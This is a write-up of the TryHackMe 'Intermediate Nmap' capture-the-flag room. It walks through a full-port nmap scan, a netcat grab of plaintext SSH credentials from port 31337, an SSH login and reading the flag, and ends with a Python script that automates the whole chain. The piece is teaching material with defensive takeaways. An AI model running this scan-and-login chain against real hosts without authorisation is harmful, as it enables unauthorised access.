Box: Intermediate Nmap · Platform: TryHackMe · Category: Networking / Recon · Difficulty: Easy


1. Introduction / TL;DR

Some challenges hide flags behind layers of obfuscation. This one hides them behind a sysadmin who, by their own admission, is forgetful.

Intermediate Nmap is a TryHackMe room that dares you to go beyond nmap -p 22,80 and actually scan the full port range of a target. The twist? A service running on port 31337 — yes, leet port — is broadcasting SSH credentials in plaintext to anyone who bothers to knock. Pair that with an SSH login and a quick cat, and the flag is yours.

This writeup is for anyone who wants to understand why each command works, not just copy-paste their way to a flag.

TL;DR:

  1. Full-range nmap scan reveals port 31337 broadcasting credentials.
  2. SSH into the box with those credentials.
  3. Read the flag from /home/user/flag.txt.

2. Initial Recon

The challenge description gives us a deliberate nudge:

“This VM is listening on a high port, and if you connect to it it may give you some information you can use to connect to a lower port commonly used for remote access!”

“High port” and “remote access” are the two keywords here. Remote access almost certainly means SSH (port 22). A “high port” means something above 1024 — possibly well above. The only way to find it reliably is to scan all 65,535 TCP ports.

Why scan all ports?

By default, nmap only scans its top 1,000 most common ports. That’s a reasonable shortcut for broad assessments, but it means anything running on an uncommon port stays invisible. In CTFs and real-world pentests alike, operators often run services on non-standard ports deliberately — either for obscurity or because convention doesn’t apply to them.

The flags we need:

FlagPurpose
-p-Scan all 65,535 TCP ports (shorthand for -p 1-65535)
-sVProbe open ports to determine the service and version running
--min-rate 5000Send at least 5,000 packets per second — dramatically speeds up a full scan
1
nmap -sV -p- --min-rate 5000 10.129.185.154

Results

1
2
3
4
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
2222/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
31337/tcp open  Elite?

Three open ports:

  • 22/tcp — Standard SSH. The intended login target.
  • 2222/tcp — A second SSH instance (a red herring, as it turns out).
  • 31337/tcp — Unknown service, labelled Elite? by nmap.

Port 31337 deserves its own section.


3. Analysis — What Is Port 31337?

Port 31337 is not arbitrary. In hacker lore, 31337 is “leet” (leetspeak for “elite”), and it has been used by everything from Back Orifice malware to deliberate CTF jokes for decades. Seeing it in a challenge named Intermediate Nmap is a wink from the challenge author.

Nmap couldn’t identify the service by protocol alone, so it fell back to version detection probing — sending a series of payloads (NULL, GET /, generic lines, etc.) and capturing whatever the service responded with. That response was embedded directly in the scan output under the SF-Port31337-TCP fingerprint block:

1
2
SF-Port31337-TCP:V=7.98%...%r(NULL,35,"In\x20case\x20I\x20forget\x20-\x20
SF:user:pass\nubuntu:Dafdas!!/str0ng\n\n")

Decoding the escaped bytes (\x20 = space, \n = newline):

1
2
In case I forget - user:pass
ubuntu:Dafdas!!/str0ng

Someone left a sticky note as a network service. The “forget-me-not” port is handing out credentials to anyone who runs -sV.

You can also see this directly by connecting with netcat:

1
nc 10.129.185.154 31337
1
2
In case I forget - user:pass
ubuntu:Dafdas!!/str0ng

The service sends its message and closes the connection — no handshake, no auth, no fanfare.


4. Vulnerability Identification

This challenge demonstrates two real-world issues that appear in actual penetration tests:

4a. Incomplete Port Coverage

Scanning only the top 1,000 ports (the nmap default) would have completely missed port 31337. In production environments, developers routinely run administrative services, debug endpoints, or legacy applications on non-standard ports believing obscurity offers protection. It does not — but it does defeat lazy scanners.

Lesson: Always run a full -p- scan before concluding there’s nothing interesting on a host.

4b. Credentials Transmitted / Stored in Plaintext

The service on port 31337 is, in effect, a plaintext credential store that announces itself over the network. This is an egregious example of a pattern that shows up in more subtle forms all the time:

  • Debug endpoints that expose environment variables (including DATABASE_URL, SECRET_KEY).
  • Banner messages that include version strings attackers can cross-reference with CVE databases.
  • Configuration files served over HTTP with no authentication.

The credentials here are: username ubuntu, password Dafdas!!/str0ng. These will be used to authenticate over SSH.


5. Exploitation Strategy

The Core Technique: Service Version Detection (-sV)

nmap -sV does something most people don’t think about: when it encounters a port it can’t identify from the SYN/ACK alone, it actively probes it. It sends payloads from its probe database (nmap-service-probes) — things like an empty byte sequence (NULL), an HTTP GET /, and protocol-specific openers — and records what comes back.

Those responses are used to match against known service fingerprints. When no match is found, nmap logs the raw response in the output (the SF-Port... block). That raw response is exactly what the service is sending — and in this case, it’s credentials.

This means -sV is not just a passive label-applier. It’s an active interrogation tool, and its output can contain actual data the service returned during the probe exchange.

Why This Applies Here

The challenge was designed to teach precisely this: a service running on an unusual port will be invisible without a full scan, and its nature won’t be clear without version detection. The two flags -p- and -sV together are the complete solution to the recon phase.

Once credentials are obtained, SSH is the “lower port commonly used for remote access” the challenge description references. Standard password authentication completes the login.


6. Building the Exploit — Step by Step

Step 1: Full Port Scan with Service Detection

1
nmap -sV -p- --min-rate 5000 10.129.185.154

Why: -p- ensures we don’t miss port 31337 by stopping at the default 1,000. -sV causes nmap to probe port 31337 and capture its credential banner. --min-rate 5000 keeps the scan from taking 20+ minutes on a full port range.

Output (relevant section):

1
2
3
4
5
6
7
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
2222/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
31337/tcp open  Elite?

SF-Port31337-TCP:...%r(NULL,35,"In\x20case\x20I\x20forget\x20-\x20user:pass
\nubuntu:Dafdas!!/str0ng\n\n")

Step 2: Confirm the Credential Banner

1
nc 10.129.185.154 31337

Why: Reading directly from the port confirms what nmap captured and rules out any fingerprint parsing artefact. The service responds immediately and closes.

Output:

1
2
In case I forget - user:pass
ubuntu:Dafdas!!/str0ng

Credentials extracted:

  • Username: ubuntu
  • Password: Dafdas!!/str0ng

Step 3: SSH Login

1
ssh ubuntu@10.129.185.154

Enter the password Dafdas!!/str0ng when prompted.

Why port 22, not 2222? Both are SSH. Port 22 is the standard. The challenge description says “lower port” — and the flag lives in /home/user/, a path not owned by ubuntu. Both ports likely accept the same credentials, but we try the canonical port first.

Shell obtained:

1
ubuntu@intermediate-nmap:~$

Step 4: Locate and Read the Flag

1
find / -name "flag.txt" 2>/dev/null
1
/home/user/flag.txt
1
cat /home/user/flag.txt
1
flag{REDACTED}

Complete Solve Script

The script below automates the entire process — from scan to flag — and can be run directly on any machine with Python 3, python-nmap, and paramiko installed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
"""
Intermediate Nmap — TryHackMe
Automated solve script

Requirements:
    pip install python-nmap paramiko

Usage:
    python3 solve.py
"""

import nmap
import socket
import paramiko

TARGET = "10.129.185.154"
CRED_PORT = 31337   # The "leet" port broadcasting credentials
SSH_PORT = 22       # Standard SSH — the "lower port for remote access"


def grab_credentials(host: str, port: int) -> tuple[str, str]:
    """
    Connect to the credential-broadcasting service and parse the banner.
    The service sends a single message then closes the connection:
        In case I forget - user:pass
        ubuntu:Dafdas!!/str0ng
    """
    print(f"[*] Connecting to {host}:{port} to grab credentials...")
    with socket.create_connection((host, port), timeout=10) as sock:
        banner = sock.recv(1024).decode("utf-8", errors="replace")
    print(f"[+] Banner received:\n{banner.strip()}\n")

    # Parse "username:password" from the second line of the banner
    lines = banner.strip().splitlines()
    # Line 0: "In case I forget - user:pass"
    # Line 1: "ubuntu:Dafdas!!/str0ng"
    cred_line = lines[1].strip()
    username, password = cred_line.split(":", 1)
    print(f"[+] Credentials extracted — user: {username!r}  pass: {password!r}")
    return username, password


def ssh_get_flag(host: str, port: int, username: str, password: str) -> str:
    """
    SSH into the target with the recovered credentials and read the flag.
    """
    print(f"[*] Connecting to SSH at {host}:{port} as {username!r}...")
    client = paramiko.SSHClient()
    # Automatically accept the host key (fine for CTF; don't do this in prod)
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(host, port=port, username=username, password=password, timeout=15)
    print("[+] SSH connection established.")

    # Locate the flag file anywhere on the filesystem
    _, stdout, _ = client.exec_command("find / -name 'flag.txt' 2>/dev/null")
    flag_paths = [line.strip() for line in stdout.read().decode().splitlines()
                  if "flag.txt" in line and not line.startswith("/sys")]

    if not flag_paths:
        raise RuntimeError("flag.txt not found on the remote system!")

    flag_path = flag_paths[0]
    print(f"[+] Flag file found at: {flag_path}")

    _, stdout, _ = client.exec_command(f"cat {flag_path}")
    flag = stdout.read().decode().strip()
    client.close()
    return flag


def main():
    print("=" * 60)
    print("  Intermediate Nmap — Automated Solver")
    print("=" * 60)

    # Step 1: Grab credentials from port 31337
    username, password = grab_credentials(TARGET, CRED_PORT)

    # Step 2: SSH in and read the flag
    flag = ssh_get_flag(TARGET, SSH_PORT, username, password)

    print("\n" + "=" * 60)
    print(f"  FLAG: {flag}")
    print("=" * 60)


if __name__ == "__main__":
    main()

Sample run:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
============================================================
  Intermediate Nmap — Automated Solver
============================================================
[*] Connecting to 10.129.185.154:31337 to grab credentials...
[+] Banner received:
In case I forget - user:pass
ubuntu:Dafdas!!/str0ng

[+] Credentials extracted — user: 'ubuntu'  pass: 'Dafdas!!/str0ng'
[*] Connecting to SSH at 10.129.185.154:22 as 'ubuntu'...
[+] SSH connection established.
[+] Flag file found at: /home/user/flag.txt

============================================================
  FLAG: flag{REDACTED}
============================================================

7. Conclusion / Flag

1
flag{REDACTED}

This room teaches a habit that separates thorough pentesters from lazy ones: scan everything. Nmap’s default 1,000-port scan is a convenience shortcut, not a guarantee of completeness. Port 31337 — right there in the name, screaming “elite” to anyone who recognises it — was invisible until we added -p-.

The second lesson is subtler: -sV is an active interrogation. It doesn’t just label services; it sends probes and captures responses. Those responses can contain banner messages, version strings, or — as demonstrated here — credentials left in plaintext by a forgetful sysadmin.

Key takeaways:

  • Always run -p- before concluding a host has nothing interesting.
  • -sV captures raw service responses; read the full output, not just the port/service columns.
  • Port numbers are not security controls. Obscurity is not defence.
  • Port 31337 will always be suspicious. Always check port 31337.

Written as part of a TryHackMe room walkthrough. Target was a dedicated lab VM with no real users or data.